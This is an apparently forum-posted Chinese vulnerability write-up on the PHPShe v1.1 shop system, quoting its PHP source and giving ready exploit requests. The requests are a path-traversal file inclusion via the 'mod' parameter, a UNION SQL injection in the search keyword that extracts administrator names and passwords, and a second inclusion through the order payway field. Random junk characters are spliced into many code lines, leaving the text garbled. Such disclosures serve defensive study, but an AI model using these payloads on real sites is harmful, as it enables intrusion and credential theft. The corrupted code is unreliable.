phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
/* Phpshe v1.1 Vulnerability
/* ========================
/* By: : Kn1f3
/* E-Mail : 681796@qq.com
5 i' u' D. m) ]# V% o/*******************************************************/
0×00 整体大概参数传输
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9 w  o' m* m8 `1 p2 k; B" s! g//common.php
if (get_magic_quotes_gpc()) {
( M, |! q1 f$ r0 p!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
3 m8 }: _$ P& }' t  J3 S!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
else {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
session_start();
( R* R. i7 w* Z3 ?' u!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
3 e8 p1 b# A, W% C/ U!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

0×01 包含漏洞
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//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
1 \1 d2 b  f. N9 I7 O: Xinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
( c+ y0 P1 H# y  r( R$ ]0 n?>
//common 文件 第15行开始
url路由配置
$module = $mod = $act = 'index';
& N4 ~  U3 N3 W( ~$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
+ y3 L! r6 e7 w$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

0×02 搜索注入
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4 }: s" \* V$ g# t6 G5 @: B4 ?+ A9 ?4 [<code id="code2">

//product.php文件
/ E9 q% F4 Y# P0 k4 ^case 'list':
( i9 R' R0 i9 o7 h  N4 `$category_id = intval($id);
! `/ Q- b" K, @' s' C$ S5 ^8 p$info = $db->pe_select('category', array('category_id'=>$category_id));
* y0 H# d6 L4 F1 P; k1 v3 i( n//搜索
$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
if ($category_id) {
, ~9 ?* o% Q! `8 l/ t2 w1 {4 V/ Xwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
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- i. A9 E; O( A$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
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else {
. K9 C! Y8 O+ g) h$sqlwhere .= " order by `product_id` desc";
9 a" @, V9 e9 w0 u: M. e$ B}
+ v, v  h& P4 r0 L$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
, K# h' g% Q2 g$ j0 Y$product_hotlist = product_hotlist();
//当前路径
$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
: u, D7 c, B8 S- I//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
4 Y$ g7 ]' T3 G1 x% e{
6 H7 i4 `; E9 ~1 `) U//处理条件语句
$sqlwhere = $this->_dowhere($where);
, n* ^3 }* K; F  }& x4 Freturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
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//exp
" _( @) k6 m, m! {4 I) qproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>

8 l1 z0 K8 ^2 s4 D/ d9 _$ {0×03 包含漏洞2

<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

2 y% r) j6 A" }1 o% i1 h$cache_payway = cache::get('payway');

/ e& A3 O  U7 H. P: v" d* eforeach($cache_payway as $k => $v) {

+ [. A% `, P! k; E, k2 n$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

* v3 d3 M+ `, Q/ c0 X9 Q$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

$ m( u& y* l& Y9 Q3 n}

, q' H2 o! T* i$ G) l. n$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

8 l8 u4 ^: j+ Y7 J# A1 pif (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

. E# ~) T$ r1 @$ L$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

8 ?# n# G+ Y+ Q2 h8 ~, gforeach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";
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}

echo '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

5 p3 m4 v9 \, ?) z8 pelse {

pe_error('支付错误...');

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}

$ j: b  J  \) Y) e7 N1 d4 k/ m; [$seo = pe_seo('选择支付方式');

8 f0 J2 f1 [) ?" Ainclude(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
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